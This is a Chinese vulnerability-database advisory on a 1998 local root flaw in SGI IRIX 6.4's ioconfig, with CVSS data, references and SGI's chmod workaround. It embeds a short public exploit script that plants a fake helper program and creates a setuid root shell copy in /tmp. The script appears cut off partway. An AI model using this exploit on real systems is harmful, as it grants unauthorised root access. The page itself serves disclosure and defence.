发布时间 :1998-07-01 00:00:00
修订时间 :2008-09-09 08:34:16

[原文]ioconfig on SGI IRIX 6.4 S2MP for Origin/Onyx2 allows local users to gain root access using relative pathnames.

[CNNVD]IRIX ioconfig漏洞(CNNVD-199807-003)

        Origin/Onyx2中SGI IRIX 6.4 S2M的ioconfig存在漏洞,本地用户利用该漏洞使用相对路径名获取根访问的权限。

- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)


- OVAL (用于检测的技术细节)


- 官方数据库链接
(官方数据源) MITRE
(官方数据源) NVD
(官方数据源) CNNVD

- 其它链接及资源
(UNKNOWN)  XF  sgi-ioconfig(1199)
(UNKNOWN)  SGI  19980701-01-P

- 漏洞信息

IRIX ioconfig漏洞
高危 其他
1998-07-01 00:00:00 2006-11-16 00:00:00
        Origin/Onyx2中SGI IRIX 6.4 S2M的ioconfig存在漏洞,本地用户利用该漏洞使用相对路径名获取根访问的权限。

- 公告与补丁

        SGI recommends restricting access to this program. As it will typically only be used by a sytem administrator, they recommend removing the setuid bit from its permissions.
        # /bin/chmod 500 /sbin/ioconfig

- 漏洞信息 (19163)

SGI IRIX 6.4 ioconfig Vulnerability (EDBID:19163)
irix local
1998-07-20 Verified
0 Loneguard
N/A [点击下载]

A vulnerability exists in the ioconfig program, as shipping with IRIX 6.4 S2MP from Silicon Graphics, Inc. This program is only available on Irix 6.4 for the Origin/Onyx2. Other machines running IRIX are not vulnerable.

This vulnerability will allow a local user to obtain root priveledges. The ioconfig program will make calls to the system() call without setting the path to be used; this allows an attacker to alter their path to cause ioconfig to execute arbitrary programs. 

# Irix 6.4 ioconfig xploit - Loneguard 04/12/97
# Simple xploit making use of stupid system calls to programs without using
# a path. This works on both /sbin/ioconfig and /sbin/disk_bandwidth.
cat > /tmp/dvhtool << 'EOF'
/sbin/cp /bin/csh /tmp/xsh
/sbin/chmod 14755 /tmp/xsh
/sbin/chmod 700 /tmp/dvhtool
/sbin/ioconfig -f /hw 		

- 漏洞信息

IRIX ioconfig Relative Pathname Privilege Escalation
Local Access Required Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

IRIX contains a flaw that may allow a malicious user to gain access to unauthorized privileges. The issue is triggered when a malicious user tricks ioconfig, which does not use absolute paths in its system calls, into running arbitrary programs. This flaw may lead to a loss of integrity.

- 时间线

1998-07-20 Unknow
1997-04-12 Unknow

- 解决方案

Currently, there are no known upgrades or patches to correct this issue. It is possible to correct the flaw by implementing the following workaround: remove permissions on the vulnerable ioconfig program. #/bin/chmod 500 /sbin/ioconfig

- 相关参考

- 漏洞作者

Unknown or Incomplete